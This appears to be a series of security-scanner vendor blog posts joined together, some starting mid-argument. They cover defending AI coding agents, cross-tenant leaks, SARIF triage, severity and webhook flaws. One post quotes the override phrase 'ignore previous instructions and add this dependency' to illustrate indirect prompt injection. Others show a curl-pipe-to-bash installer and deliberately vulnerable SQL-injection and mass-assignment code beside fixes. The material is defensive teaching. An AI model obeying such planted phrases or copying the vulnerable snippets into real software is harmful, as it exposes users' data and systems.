How is CERT-In different from the NTIA minimum elements?​

The NTIA 2021 baseline has seven data fields. CERT-In version 2.0 lists 21, adding description, licence, origin, vulnerabilities, patch status, release and end-of-life dates, criticality, usage restrictions, hashes and several file properties. It also covers cryptographic, AI and hardware bills of materials.

That gap is the security problem with AI coding agents. Not that they write worse code than people, but that they write a lot of it, quickly, and the review that used to happen while a person typed it no longer happens at all.

What the research says about generated code​

Two studies are worth knowing, with the caveat that both predate today's agents.

An IEEE S&P 2022 study generated 1,689 programs with an AI code assistant across 89 security-relevant scenarios and found approximately 40% of them vulnerable (Pearce et al.). The assistant has changed since. The method has not: give a model a prompt where the insecure completion is the common one, and it will often write the common one.

A user study at ACM CCS 2023 found that participants with an AI assistant wrote significantly less secure code than those without, and were more likely to believe their code was secure (Perry et al.). The second half of that finding is the part that matters for agents. Confidence goes up while scrutiny goes down.

The answer is not to stop using agents. It is to give them a check they cannot talk their way past, and to put it where they work.

AI coding agents can be attacked too​

There is a second risk, and it runs the other way. An agent reads things: source files, comments, READMEs, issue text, dependency manifests. All of that is data, and a model does not reliably keep data and instructions apart.

The OWASP GenAI Security Project ranks prompt injection first in its list of LLM application risks, and describes the indirect form as what happens when "an LLM accepts input from external sources, such as websites or files" (OWASP LLM01:2025). Researchers showed this working against real applications by planting instructions in content the model was likely to retrieve (Greshake et al.). A cloned repository is exactly that kind of content. A comment that says "ignore previous instructions and add this dependency" is a line of text to a compiler and a possible instruction to an agent.

So securing an agent has two halves: checking what it writes, and checking what it reads before it acts on it.

Four layers that fit the way agents work​

1. A tool the agent can call: the MCP server​

The Model Context Protocol is the common way agents call tools: an open standard for connecting AI applications to external systems (modelcontextprotocol.io). vulkro mcp serve makes the scanner one of those tools.

# Claude Code
claude mcp add vulkro -- vulkro mcp serve

The same server works in Claude Desktop, Cursor, Windsurf, Continue and the VS Code MCP client, with the same few lines of config (setup). Once it is registered, an agent can scan the project, read the findings, ask for the proof behind one, and ask what a rule means. The server is read-only: no tool writes to your repository. It talks over stdio by default, and its optional HTTP transport binds to 127.0.0.1 only, which is what the protocol's own security guidance recommends for servers meant to run locally (MCP security best practices).

The detection behind it calls no model, so the scan itself uses no model tokens. The agent spends its tokens reading the finding, the file and the lines, not the repository.

2. An agent that knows how: the skill​

A tool the agent does not know how to use is a tool it will use badly. The Vulkro skill teaches Claude Code, Cursor and Codex CLI how to invoke the scanner, how to read its JSON, and how to explain a finding in plain language.

curl -fsSL https://dist.vulkro.com/skill-install.sh | bash

The installer finds the agents you have and writes the skill where each one looks for it, verifying every file against a signed manifest (details). The scan runs locally; only the JSON report reaches the model's context, never the code it was run on.

3. A check the agent cannot skip: the guard​

MCP is discovery: the agent may choose to call the scanner. Sometimes it will not. vulkro guard is enforcement.

vulkro guard install --agent claude-code --scope project

This wires a hook into the agent's own configuration so every file it writes or edits is scanned before it moves on. A High or Critical finding blocks, and the finding is fed back to the agent so it regenerates the file. Medium and lower are reported but do not block, so the agent is not trapped on a nit. Each check is a single-file scan with no network call and no token cost, which is what lets it sit inside the edit loop at all.

Claude Code and Cursor hooks are supported directly; Windsurf is best effort. --scope project checks the hook into the repository, so everyone who opens it with that agent gets the same guard (reference).

4. Verify the agent's own change​

The last layer is the one reviewers will thank you for. When the agent is done, it should prove that its change did not introduce a new problem, without wading through the backlog the repository already had.

• scan_diff analyses the whole project, so a flow that crosses files stays intact, then returns only the findings on the lines the change added or modified. An empty result means nothing new was found on those lines; it is not a statement that the change is safe. It is part of Vulkro Pro.
• prove returns the hop-by-hop path behind any finding the agent wants to dispute, so it argues with evidence rather than with a summary.
• verify_fix takes a fix the agent proposes, applies it to a temporary copy, scans again, and reports fixed, not-fixed or regressed. The working tree is never modified.

The pattern is simple: the model drafts, the deterministic engine judges.

Checking what the agent reads​

Before an agent runs anything in a repository it just cloned (an install script, a build step, an example), it can call inspect_repo. It reports the shapes of malicious capability in the source, from credential reads and reverse shells to install hooks and prompt-injection text planted for an AI agent to read, each with its file and line. It is a list for a person to review, not a verdict: it never certifies code as safe, because static analysis of code that has not run cannot honestly do that.

In the editor, with GitHub Copilot Chat​

If your team works in VS Code, the VS Code extension plugs the scanner into the editor's own agent. On VS Code 1.101 and later it contributes two language-model tools that agent mode in GitHub Copilot Chat can call, vulkro_scan_file and vulkro_explain_finding, and you can reference them in a prompt as #vulkroScanFile and #vulkroExplainFinding. It also registers the MCP server, launched with network access switched off. For Vulkro for Salesforce, the extension registers its own twins for Apex, LWC, Aura, Visualforce and Flows. The extension installs from a .vsix in VS Code, Cursor, Windsurf and VSCodium (extension).

A recommended setup​

For a team adopting agents, a reasonable baseline:

1. Register the MCP server so agents can ask.
2. Install the skill so they ask well.
3. Install the guard at project scope so they cannot skip it.
4. Make "the diff is clean and every fix is verified" the definition of done for agent work.

None of this slows the agent much, and none of it sends your code anywhere: the scanner runs on your machine, and VULKRO_OFFLINE=1 keeps every scan off the network. What it changes is who has the last word. The agent writes; the engine checks; the same code gets the same answer every time.

Read more on how this saves tokens, see Vulkro Core, or install it and wire up your agent.

Sources​

• Pearce et al., "Asleep at the Keyboard? Assessing the Security of GitHub Copilot's Code Contributions", IEEE S&P 2022: https://arxiv.org/abs/2108.09293
• Perry et al., "Do Users Write More Insecure Code with AI Assistants?", ACM CCS 2023: https://arxiv.org/abs/2211.03622
• OWASP GenAI Security Project, "LLM01:2025 Prompt Injection": https://genai.owasp.org/llmrisk/llm01-prompt-injection/
• Greshake et al., "Not what you've signed up for: Compromising Real-World LLM-Integrated Applications with Indirect Prompt Injection": https://arxiv.org/abs/2302.12173
• Model Context Protocol, "What is the Model Context Protocol?": https://modelcontextprotocol.io/introduction
• Model Context Protocol, "Security Best Practices": https://modelcontextprotocol.io/docs/2026-07-28/tutorials/security/security_best_practices

Cross-tenant leaks are the business-to-business version of the IDOR bugs we wrote about earlier. The difference is the blast radius. An IDOR exposes one user's record to another user. A cross-tenant leak exposes one customer's company to another customer's staff, and tends to end with an incident notice sent to every affected account.

What it looks like when it happens​

A new integration and a scoping bug​

In June 2025 Asana told customers that a bug in its newly launched MCP server, the interface that lets AI assistants query Asana, "could have potentially exposed certain information from your Asana domain to other Asana MCP users", as quoted by The Register. The server had launched on 1 May. Asana found the problem on 4 June and took the feature offline until 17 June, resetting every connection. A spokesperson told BleepingComputer that roughly 1,000 customers were affected, and described it as a logic flaw rather than an attack. There was no indication anyone exploited it.

Asana has not published the details of the coding error, so we will not guess at them. The shape is still instructive: a new access path into existing data, built later than the main application, did not carry the same tenant boundary.

A cache that returned the wrong user's data​

In March 2023 OpenAI took ChatGPT offline after some users saw the titles of other users' conversations. In its postmortem, OpenAI traced the cause to a bug in the Redis client library: a cancelled request could leave a connection in a state where the next request received data cached for an unrelated user. OpenAI said the same bug may have exposed payment-related details (name, email, payment address, card type, the last four digits and expiry date) for 1.2% of ChatGPT Plus subscribers active in a nine-hour window. Full card numbers were not exposed.

One of OpenAI's fixes is the most portable lesson in the report: it added checks that the data returned from the cache matches the user who asked for it. That is a tenant check at the point of read, independent of whatever upstream code was supposed to get it right.

Where cross-tenant leaks come from​

Most cross-tenant bugs are one of a few shapes:

• A query that forgets the filter. The repository function takes an id and loads the row. Everything that calls it is supposed to pass a tenant-scoped id. One caller does not.
• A tenant id taken from the request. The handler reads tenantId from the body or a header instead of from the authenticated session, so any user can name any tenant.
• A table with no tenant column at all. It was added later, or it hangs off a row that is tenant-scoped only by convention. Every query against it must scope through a join, by hand, forever.
• A side door. A cache key, a background job, a websocket broadcast, an export or an AI integration that reads the data through a path the main request pipeline does not cover.

The third shape is the one the schema shows directly.

// Drizzle schema: most tables are tenant-scoped...
export const projects = pgTable('projects', {
  id: uuid('id').primaryKey(),
  orgId: uuid('org_id').notNull().references(() => orgs.id),
  name: text('name').notNull(),
});

export const invoices = pgTable('invoices', {
  id: uuid('id').primaryKey(),
  orgId: uuid('org_id').notNull().references(() => orgs.id),
  amountCents: integer('amount_cents').notNull(),
});

// ...but this one is not, and it holds personal data
export const attachments = pgTable('attachments', {
  id: uuid('id').primaryKey(),
  uploadedByEmail: text('uploaded_by_email').notNull(),
  storageKey: text('storage_key').notNull(),
});

Nothing in the data model ties an attachment to an organisation. A route like GET /attachments/:id has no column to filter on even if the developer remembers to. The fix is to give the table its boundary:

export const attachments = pgTable('attachments', {
  id: uuid('id').primaryKey(),
  orgId: uuid('org_id').notNull().references(() => orgs.id),
  uploadedByEmail: text('uploaded_by_email').notNull(),
  storageKey: text('storage_key').notNull(),
}, (t) => ({ orgIdx: index('attachments_org_idx').on(t.orgId) }));

A non-null key to a parent row that is itself tenant-scoped, such as a project_id, works too, as long as every query goes through it.

Make scoping structural, not remembered​

A tenant column makes correct queries possible. It does not make them happen. The durable fixes move scoping out of individual queries.

One scoped data-access layer. Every query for tenant data goes through a repository or ORM default scope that injects the tenant from the authenticated session. Handlers never construct the tenant filter themselves, and never read the tenant id from the request.

// Vulnerable: tenant id chosen by the caller
app.get('/api/invoices', requireAuth, async (req, res) => {
  const rows = await db.invoice.findMany({ where: { orgId: req.query.orgId } });
  res.json(rows);
});

// Fixed: tenant id comes from the session, never the request
app.get('/api/invoices', requireAuth, async (req, res) => {
  const rows = await db.invoice.findMany({ where: { orgId: req.user.orgId } });
  res.json(rows);
});

Row-level security in the database. PostgreSQL can enforce the boundary itself. A policy is attached to the table and applied to every query, including the ones nobody reviewed:

ALTER TABLE invoices ENABLE ROW LEVEL SECURITY;
ALTER TABLE invoices FORCE ROW LEVEL SECURITY;

CREATE POLICY tenant_isolation ON invoices
  USING (org_id = current_setting('app.current_org')::uuid);

The application sets app.current_org for each request or transaction from the authenticated session. The PostgreSQL documentation spells out the details worth knowing. With row security enabled and no policy, a default-deny applies. A USING clause filters the rows a command can see, and with no separate WITH CHECK it also limits the rows a command can write. Table owners bypass policies unless the table is set to FORCE ROW LEVEL SECURITY, and superusers and roles with BYPASSRLS always bypass them. So the application must not connect as the table owner or a superuser, or the policy does nothing.

Check on the way out. As OpenAI did, compare the tenant on the data you are about to return with the tenant of the caller, especially on cached and asynchronous paths.

What Vulkro checks​

Since 0.34.0, every scan maps the application's database schema from its ORM models and migrations, and marks tenant columns such as tenant_id, org_id and workspace_id. The schema-tenant-column-missing rule (Medium) uses that map. A schema counts as multi-tenant when at least four tables, and more than half of all tables, carry a tenant column. Vulkro then reports each table that holds personal, health, financial, credential or secret data, has no tenant column and has no key to a tenant-scoped table. In a monorepo each package is judged on its own. A lookup table that is global by design can be marked with a vulkro:disable comment on its declaration.

The other multi-tenancy checks look at code rather than the schema:

• mt-tenant-id-from-request: a tenant id read from the request body rather than the session, the first vulnerable example above.
• mt-missing-tenant-filter and mt-job-no-tenant-recheck: a query on a tenant-scoped table with no tenant filter, and a background job that acts on tenant data without re-checking the tenant.
• ws-cross-tenant-broadcast: a websocket broadcast that is not scoped to a tenant.
• idor-authn-no-ownership: an authenticated lookup by a caller-supplied id with no ownership or tenant scope.

We are explicit about what these can and cannot prove. A missing filter is an absence, and the guard that makes it safe may live where a static scan cannot see it: a global ORM scope, a database policy, a decorator in another file. So the absence-based checks are reported at Low confidence and are labelled as not checked rather than proven. They are leads to review: they stay in the report, but by default they are outside the main view and do not fail a build. The schema rule, by contrast, rests on something Vulkro can see directly: the column is either declared or it is not.

In the local console, the schema map links each table to the endpoints that read and write it, so a table without a tenant column shows up next to the routes that would leak it. The console's attack paths then show which of those routes are reachable, and by whom.

Where to see it​

Run vulkro scan on a multi-tenant codebase and look for schema-tenant-column-missing. The rule page has the exact conditions, the database schema docs cover the map, and attack paths explain how findings are joined into reachable paths. To get set up, start here.

Sources​

• The Register, Asana MCP server bug, 18 June 2025
• BleepingComputer, Asana warns MCP AI feature exposed customer data to other orgs, June 2025
• OpenAI, March 20 ChatGPT outage: here's what happened, March 2023
• PostgreSQL, Row Security Policies

That decision is the expensive part. Producing a finding is cheap. Confirming that untrusted input actually reaches the flagged line, with nothing in between that makes it safe, takes a person reading code. When a tool reports two hundred results, that reading is what stalls.

vulkro verify is built for that step. It takes another tool's results as a SARIF file, checks each one against Vulkro's own analysis of the same repository, and tells you which ones it can prove, which ones it looked at and cannot, and which ones it did not look at.

SARIF is the common language​

SARIF, the Static Analysis Results Interchange Format, is an OASIS standard, and version 2.1.0 is what most security tools emit today. A SARIF log holds one or more runs. Each run names the tool and its rules, and lists results. Each result has a rule id, a message and one or more locations, usually a file and a line. Many results also carry a CWE through the rule's tags or taxonomy references, and some carry a code flow from source to sink.

Because the format is shared, a single command can read the output of almost any scanner you already have, without a plugin for each one. And because SARIF defines property bags (section 3.8 of the spec), an open set of extra properties any object may carry, a second tool can annotate a result without changing anything the first tool wrote.

Three verdicts, never a guess​

Run it from the repository the results came from:

vulkro verify results.sarif
vulkro verify results.sarif --path ./service   # the repository the results were produced on

Vulkro maps each result to a vulnerability family: by its CWE first, then by its rule id, then by keywords in its message. It scans the repository once. Then every result gets exactly one verdict:

• proven: a Vulkro finding of the same family sits at the result's line, or within three lines of it, and carries machine-checkable proof, such as a traced source-to-sink data flow. The proof chain, the entry point, and the actor, asset and severity from Vulkro's risk model are attached.
• not provable: Vulkro analysed that location with a model of that family and holds no proof. The reason says what it found instead: only a heuristic match, an adequate guard, a parameterised query or other neutraliser, no recognised source of untrusted input, or no flow at all.
• not checked (printed as not examined): the result is outside what this build covers. It might be a language Vulkro does not read, a file the scan skipped or could not find, or a family the result could not be mapped to. The reason comes from the scan's own coverage report.

The middle verdict is worded with care, and the command prints the caveat with every report: not provable is not a verdict that the result is a false positive. It means Vulkro analysed the code and could not build a proof. Sometimes that is because the code is safe. Sometimes the proof needs something static analysis cannot see.

What it looks like​

Here is a small Express service with two handlers that look alike to a pattern matcher:

app.get('/orders', async (req, res) => {
  const q = "SELECT * FROM orders WHERE customer = '" + req.query.customer + "'";
  const rows = await db.query(q);
  res.json(rows.rows);
});

app.get('/orders/by-id', async (req, res) => {
  const rows = await db.query('SELECT * FROM orders WHERE id = $1', [req.query.id]);
  res.json(rows.rows);
});

Suppose another tool reports SQL injection on both db.query lines, plus a third result in a Ruby file. Running vulkro verify on its SARIF output gives:

verify: other.sarif (3 result(s) from other-scanner) against .
========================================================================
  1. proven        sqli             app.js:8  [sql-injection]
       Vulkro proves this sqli result: `js-taint-sql-001` at app.js:8 (CRITICAL, 3 proof hop(s), reachable from GET /orders (unprotected)).
       risk: CRITICAL (actor anonymous, asset cross-user-data)
         app.js:6 [entry-point] entry point: GET /orders (no auth guard)
         app.js:6 [taint] source: express:req (param `req`)
         app.js:8 [taint] sink: db.query(q)
  2. not-provable  sqli             app.js:13  [sql-injection]
       parameterised query (a bound placeholder, the value passed separately) at line 13: `const rows = await db.query('SELECT * FROM orders WHERE id = $1', [req.query.id]);`.
  3. not-examined  sqli             lib/report.rb:4  [sql-injection]
       'lib/report.rb' is Ruby, a language this build has no extractor for, so no check read it (see `scan_coverage.unanalysed_languages`).

Summary: 1 proven, 1 not provable, 1 not examined (3 result(s)).

That is real output, with the scan's progress lines removed and the repository path shortened to .. The first result now comes with the path an attacker would take: an unauthenticated route, the request object, and the query it reaches. The second comes with the specific reason Vulkro could not prove it, the bound placeholder, which a reviewer can confirm in seconds. The third is honestly marked as outside coverage, so nobody mistakes silence for a clean bill.

Triage in that order​

The verdicts suggest a working order for a large backlog.

Proven first. These come with evidence a developer can follow line by line, so they are the cheapest to confirm and the most likely to be real. Fix them, or hand them over with the proof attached.

Not provable next, starting from the reason. A "parameterised query" or "adequate guard" reason is a pointer to the exact line that probably makes the result harmless. Read it and decide. A "heuristic only" reason means Vulkro also saw something there but has no flow to back it, which deserves a closer look rather than a dismissal.

Not checked last, and by someone else. These are results Vulkro has no opinion on. Keep the original tool's judgment for them, and do not count them as verified in either direction.

For any single location you want to dig into, vulkro why-not <path:line> explains why Vulkro reported nothing there, using the same reasons. We wrote about it in why did the scanner not flag this.

Keep the original file, add the verdicts​

Three output formats cover the common uses:

• --format table (the default) for a person reading the result.
• --format json for the vulkro-verify/1 report, for scripts and dashboards.
• --format sarif re-emits the input log with every result annotated. Each result's property bag gains vulkro.verdict, vulkro.reasonCode, vulkro.reason, vulkro.family and vulkro.proof, plus the matching Vulkro finding's severity, rule, entry point, actor and asset when one answers for it. Each run gains a vulkro.verify summary with the counts. Nothing in the input is removed or renamed.

That last format means you can keep feeding your existing SARIF viewer or code-scanning upload, and filter on vulkro.verdict there.

The exit code follows the same contract as the rest of the CLI: 0 when no result was proven, 1 when at least one was, and 2 for an error such as an unreadable or invalid SARIF file. A pipeline can fail only on results that carry proof.

The command is deterministic and offline. No model is called, nothing leaves the machine, and it never edits a file: the annotated SARIF goes to standard output.

From an AI assistant​

The same check is available to AI coding agents through Vulkro's MCP server, as the verify_sarif tool. It takes the SARIF and the repository path and returns the same three verdicts. An agent asked to "fix the findings from the security scan" can start with the proven ones and the evidence behind them, instead of rewriting every line a tool pointed at. The MCP server reference lists the tools.

What it does not do​

vulkro verify can only prove what Vulkro itself models. It reads JavaScript, TypeScript, Python, Go, Java, PHP, C and C++. Results in other languages, or in vulnerability families Vulkro has no check for, are not checked. That is the right answer, and the report says so explicitly rather than folding them into a count. It also does not judge the other tool. A result it cannot prove may still be real, and the reasons are there so a person can decide.

Try it on the SARIF you already have​

If your pipeline already writes a SARIF file, you have everything you need: run vulkro verify results.sarif in the same checkout. Output formats covers Vulkro's own SARIF, and why deterministic analysis explains what we mean by proof. To run it on your code, start here.

Sources​

• OASIS, Static Analysis Results Interchange Format (SARIF) Version 2.1.0

Many scanners rate them the same, because severity is attached to the rule: "SQL injection" is Critical wherever it appears. The result is a list where everything at the top looks equally urgent, and the team has to redo the risk assessment by hand for every row.

They are not the same risk. Both should be fixed, but one can be exploited by anyone right now and the other needs an attacker who already holds an administrator account. Severity that cannot tell them apart is not telling you much.

Where per-pattern severity comes from​

Rule-level severity is close in spirit to a CVSS base score. FIRST's CVSS v4.0 specification says the Base Score "reflects the severity of a vulnerability according to its intrinsic characteristics". Intrinsic means independent of where the flaw sits and who can reach it.

FIRST is explicit that this is not the whole picture. The CVSS v4.0 user guide has a section headed "CVSS Base Score (CVSS-B) Measures Severity, not Risk", and the specification says consumers "should enrich the Base metrics with Threat and Environmental metric values." The environmental part is exactly the question a code scanner is well placed to answer, because it has the code: which routes are public, which ones require a login, which ones require a role.

The OWASP Risk Rating Methodology makes the same point from another direction. It estimates risk as likelihood times impact, and one of its likelihood factors is the size of the group that could exploit the flaw. On its scale, developers and system administrators score 2, authenticated users 6 and anonymous internet users 9. Who can reach the code is not a detail. It is one of the main inputs.

The four questions​

Since 0.30.0, Vulkro sets severity from one model instead of rule by rule. For each finding it asks four questions.

Who can reach the code? The answer comes from the entry point the finding sits behind, and the guards on it:

• Anonymous: the route carries no authentication.
• Any signed-up user: authentication applies, but the application has open sign-up, so anyone can create an account and get past it.
• An internal user: authentication applies and accounts are issued, not self-service.
• An administrator: a role or admin check applies.

The difference between the second and third is easy to miss and matters a lot. A login screen is not much of a barrier if the sign-up form is next to it. Vulkro infers open sign-up from the code (a registration route, a user-creation form). When sign-up happens somewhere the repository does not show, such as a hosted identity provider, you can declare it with open_signup = true or false in vulkro.toml.

MCP server tools and AI agent tools count as entry points too. Their arguments are steered by whatever text the model read, so they are treated as untrusted input rather than as an internal caller.

What is at stake? Code execution, file access, account takeover, other users' data, and internal network reach (server-side request forgery, which counts fully only when the response comes back to the attacker). A flaw that hands over one of these is worth more than a missing security header.

Is the path proven? A traced data flow from the request to the dangerous call is proof. So is a route whose guard facts show the missing check. A pattern match on its own is not.

Does a guard stand in the way? If a check the scanner can see answers the question the finding raises (an ownership check for an object lookup, an allowlist or a type restriction for an injection), the finding is not placed at the top.

How the answers become a severity​

When all four line up (an attacker from the public, something serious at stake, a proven path, nothing in the way), the finding is Critical. When exactly one of them is missing, it is High. When two or more are missing, it is Medium.

That gives the two injections from the start of this post different answers:

// Reachable by anyone on the internet
app.get('/api/search', async (req, res) => {
  const rows = await db.query(
    `SELECT id, name FROM products WHERE name LIKE '%${req.query.q}%'`
  );
  res.json(rows);
});

// Reachable only by administrators
app.get('/admin/reports', requireAdmin, async (req, res) => {
  const rows = await db.query(
    `SELECT * FROM orders WHERE region = '${req.query.region}'`
  );
  res.json(rows);
});

The first has an anonymous caller, other users' data at stake, a traced flow from req.query.q into the query, and no guard. That is Critical. The second has the same flow and the same stakes, but when the guard on the route is recognised as an admin check, the caller is an administrator, and the finding is placed at High. It is still reported, and it still deserves a fix. It just does not compete with the public one for the first slot in the queue.

The fix is the same for both:

app.get('/api/search', async (req, res) => {
  const rows = await db.query(
    'SELECT id, name FROM products WHERE name LIKE $1',
    [`%${req.query.q}%`]
  );
  res.json(rows);
});

Where the code lives matters too​

The same model reads where a file comes from: first-party, test, example, generated, vendored or browser code. A command injection in a test fixture, an example folder or a vendored copy of a library is not the same as one in your request handlers. Findings in test, example and vendored code are reported at Low at most, and server-side rules no longer fire on browser code, where "the server runs this" was never true.

This removes a large and boring class of noise: the hard-coded credentials in test setup, the deliberately vulnerable snippet in a docs example, the third-party bundle nobody on the team edits.

Every placed finding says why​

A severity that moves needs an explanation, or it looks arbitrary. When the model places a finding, the finding's reason says which answers placed it there: who can reach it, what is at stake, whether the path is proven and whether a guard applies. If you disagree, you can see which answer to argue with. A route the model thought was anonymous might be protected by a gateway it cannot see. A sign-up flow might be invite-only. The reason tells you where to look, and open_signup in vulkro.toml covers the most common correction.

When the model cannot answer (no entry point reaches the finding, or the route's authentication cannot be classified) it does not guess. The finding keeps the severity it had.

The same model for Salesforce​

vulkro-sf applies the same idea to the Salesforce platform. From vulkro-sf 0.28.0, a path from an unauthenticated guest user to sensitive data is Critical when the data flow along it is proven. The same flaw that only an administrator can reach, or that touches no sensitive data, is rated lower. A permission grant that no user actually holds is Low. We walked through a guest path step by step in the anatomy of a guest user data leak.

What this does not mean​

Lower severity is not a statement that the code is safe. Administrator accounts get phished, internal users go bad, and a signed-up attacker is still an attacker. The model is for ordering work, not for deciding what to ignore. Everything it places lower is still in the report.

It also depends on what the scanner can see. A guard enforced by an API gateway, a service mesh or a framework configuration outside the repository is invisible to source analysis. That is why the reason is on every placed finding: so a wrong answer is easy to spot and correct.

Severity is one of three things we try to keep honest. The other two are what a scan actually read and whether a finding is proven, unproven or not checked.

Where to see it​

Run vulkro scan on an application with a mix of public and authenticated routes and read the reason on the top findings. The attack paths docs show how entry points join to the code they reach, and the confidence model explains the separate confidence level each finding carries. For why the list beats a flat table, see attack paths, not findings lists. To get set up, start here.

Vulkro 0.30.0 added a set of authorization checks to its scan, and two of them cover this plumbing: webhooks that write data without verifying who sent the request, and request bodies written straight to the database. This post walks through both, with the vulnerable shape, the fix and what the scanner reports.

Part one: the webhook anyone can call​

A webhook is a public URL that a payment provider, a code host or a shipping service calls when something happens. It has to be reachable from the internet, it cannot use your normal sign-in, and it usually does something with consequences: marks an invoice paid, grants a subscription, ships an order, merges a deploy.

Stripe's documentation states the risk directly: without verification, an attacker could send fake events to "trigger actions like fulfilling orders, granting account access or modifying records." The defence every serious provider offers is a signature. The provider computes an HMAC over the request body with a secret only you and the provider know, and sends it in a header. Your handler recomputes it and rejects anything that does not match.

The shape we see most​

Teams usually get the first webhook right, because it was the payment one and someone followed the provider's guide. The second one, added months later for a smaller integration, is where the check goes missing:

// webhooks.js
app.post('/webhooks/stripe', express.raw({ type: 'application/json' }), (req, res) => {
  const event = stripe.webhooks.constructEvent(
    req.body, req.headers['stripe-signature'], process.env.STRIPE_WEBHOOK_SECRET,
  );
  // ... handle event
  res.sendStatus(200);
});

// Vulnerable: no signature check, but it writes to the database
app.post('/webhooks/shipping', express.json(), async (req, res) => {
  await db.order.update({
    where: { id: req.body.orderId },
    data: { status: req.body.status },
  });
  res.sendStatus(200);
});

Anyone who learns the URL can mark any order as delivered, refunded or cancelled.

Verifying a signature properly​

Here is the shipping webhook with a signature check modelled on what the major providers document. It does four things, and each one matters:

const crypto = require('crypto');

app.post('/webhooks/shipping', express.raw({ type: 'application/json' }), async (req, res) => {
  const header = req.get('x-shipping-signature') || '';   // "t=1712345678,v1=abc..."
  const parts = Object.fromEntries(header.split(',').map((kv) => kv.split('=')));
  const timestamp = Number(parts.t);

  // 1. Reject old requests (replay protection)
  if (!timestamp || Math.abs(Date.now() / 1000 - timestamp) > 300) return res.sendStatus(400);

  // 2. HMAC over the timestamp and the RAW body bytes
  const expected = crypto
    .createHmac('sha256', process.env.SHIPPING_WEBHOOK_SECRET)
    .update(`${timestamp}.`)
    .update(req.body)            // a Buffer, not parsed JSON
    .digest('hex');

  // 3. Constant-time comparison
  const a = Buffer.from(expected);
  const b = Buffer.from(parts.v1 || '');
  if (a.length !== b.length || !crypto.timingSafeEqual(a, b)) return res.sendStatus(400);

  // 4. Only now parse and act
  const event = JSON.parse(req.body.toString('utf8'));
  await db.order.update({ where: { id: event.orderId }, data: { status: event.status } });
  res.sendStatus(200);
});

Raw body. The HMAC is computed over the exact bytes the sender signed. If a JSON middleware has already parsed and re-serialised the body, whitespace and key order can change and the digest no longer matches. Stripe's webhook guide warns that any manipulation of the raw body causes verification to fail, and its troubleshooting guide notes that express.json() must not run before the webhook route.

Constant-time comparison. A plain == on strings can return as soon as the first byte differs, which leaks timing information. GitHub's guide to validating webhook deliveries says to use a constant-time comparison such as Node's crypto.timingSafeEqual, and to never use a plain == operator. GitHub sends the HMAC SHA-256 hex digest in X-Hub-Signature-256, prefixed with sha256=.

Timestamps. A valid signed request can be captured and replayed. Stripe signs a timestamp along with the body, so it cannot be changed without breaking the signature, and its libraries reject events more than five minutes old by default. Stripe also warns against a tolerance of 0, which disables the recency check entirely.

Duplicates. Providers deliver at least once and retry on failure, so record processed event ids and skip ones you have already handled. That protects you from replays inside the tolerance window too.

When the provider ships a verification function (stripe.webhooks.constructEvent, for example), use it rather than writing your own.

Part two: the request body written straight to the database​

The second gap is mass assignment: a handler that takes the whole request body and writes it to a record.

// Vulnerable: every field in the body is written
app.patch('/api/users/:id', requireAuth, requireSelf, async (req, res) => {
  const user = await prisma.user.update({
    where: { id: req.params.id },
    data: req.body,
  });
  res.json(user);
});

The client is supposed to send {"displayName": "Ana"}. Nothing stops it sending {"role": "admin", "emailVerified": true}, and if those columns exist, they are written. The route checks that the caller is signed in and editing their own account. It never checks which fields they may change.

The fix is an allowlist, ideally a schema that rejects anything else:

const UpdateProfile = z.object({
  displayName: z.string().max(80).optional(),
  avatarUrl: z.string().url().optional(),
}).strict();

app.patch('/api/users/:id', requireAuth, requireSelf, async (req, res) => {
  const data = UpdateProfile.parse(req.body);
  const user = await prisma.user.update({ where: { id: req.params.id }, data });
  res.json(user);
});

The same bug in Django is a dictionary unpacked into the ORM:

# Vulnerable
def update_profile(request):
    Profile.objects.filter(user=request.user).update(**request.POST.dict())

# Fixed: a form or serializer with an explicit field list
class ProfileForm(forms.ModelForm):
    class Meta:
        model = Profile
        fields = ["display_name", "bio"]

And in Go with gin, binding the body onto the stored model rather than onto a request struct:

// Vulnerable: binds every JSON field onto the stored user
var user models.User
db.First(&user, id)
c.BindJSON(&user)
db.Save(&user)

// Fixed: bind a request struct, copy the allowed fields
var in struct{ DisplayName string `json:"displayName"` }
if err := c.ShouldBindJSON(&in); err != nil {
    c.AbortWithStatus(http.StatusBadRequest)
    return
}
db.Model(&user).Update("display_name", in.DisplayName)

OWASP files this under API3:2023 Broken Object Property Level Authorization, which merged the 2019 categories Mass Assignment and Excessive Data Exposure. MITRE's entry is CWE-915, improperly controlled modification of dynamically-determined object attributes.

The best-known incident is GitHub's. On 4 March 2012 a user exploited the public key update form to add his own key to the rails organisation and pushed a file to the project as a demonstration. GitHub's write-up attributed the root cause to "a failure to properly check incoming form parameters," removed the key, suspended the account and audited its codebase for the same pattern. Rails 4 later made strong parameters, an explicit allowlist per action, the default.

What Vulkro reports​

Webhooks. webhook-unsigned-sibling (High) fires when a webhook route writes to the data store without verifying a request signature while another webhook in the same file does verify one, the first example above. Because the rule needs a verifying sibling to exist, it rests on something the scanner can see: the team already knows how to verify, and one route does not. A separate, pattern-based check looks for handlers of known providers (Stripe, GitHub, Shopify, Slack and others) that read the body before any signature check, and non-constant-time-compare flags secrets compared with a plain equality operator. Where a missing-authentication finding's endpoint writes a table holding credentials, secrets, financial or health data, the finding says so.

Request bodies. Several rules cover the body-to-record shape by framework: js-request-body-into-write and nest-loose-body-merged-into-entity (High) for JavaScript and TypeScript, pydantic-extra-allow-mass-assignment (High) for a Pydantic model that accepts extra fields and is written onto a stored object, go-bind-onto-stored-model (High) for Go, plus Java and PHP rules for model binding and Eloquent. They require the ORM write and the unfiltered body in the same handler, and stay quiet when the handler destructures specific fields or, in Python, takes a Pydantic-typed input. When the schema map shows that the written table has privileged columns (role, admin flag, balance, owner, tenant), the finding names them. A role written from caller input with no role check is its own rule, authz-role-change-no-role-check.

Each finding names the route and the write, and vulkro prove shows the data-flow hops behind it where they can be established.

Where to see it​

Run vulkro scan on your API and look for these rule ids, or run vulkro explain <rule> for the full description and fix. The API3 rule page covers mass assignment and the API2 page covers missing authentication. To get set up, start here.

Sources​

• Stripe, Receive Stripe events in your webhook endpoint
• Stripe, Manage webhook endpoints
• GitHub Docs, Validating webhook deliveries
• OWASP, API3:2023 Broken Object Property Level Authorization
• MITRE, CWE-915
• GitHub, Public key security vulnerability and mitigation, 4 March 2012

The trouble starts on the second run. And the third. And when somebody asks what it did not look at.

This is not an argument against models in security work. It is an argument about which job each tool should have. Finding vulnerabilities is a search problem with a right answer. Fixing them is a writing problem with many acceptable answers. Those want different tools.

Problem one: a different answer each time​

A security check is useful when it is repeatable. Run it on the same code and it should say the same thing, or the result cannot gate a merge, cannot show that a fix worked, and cannot be compared with last month.

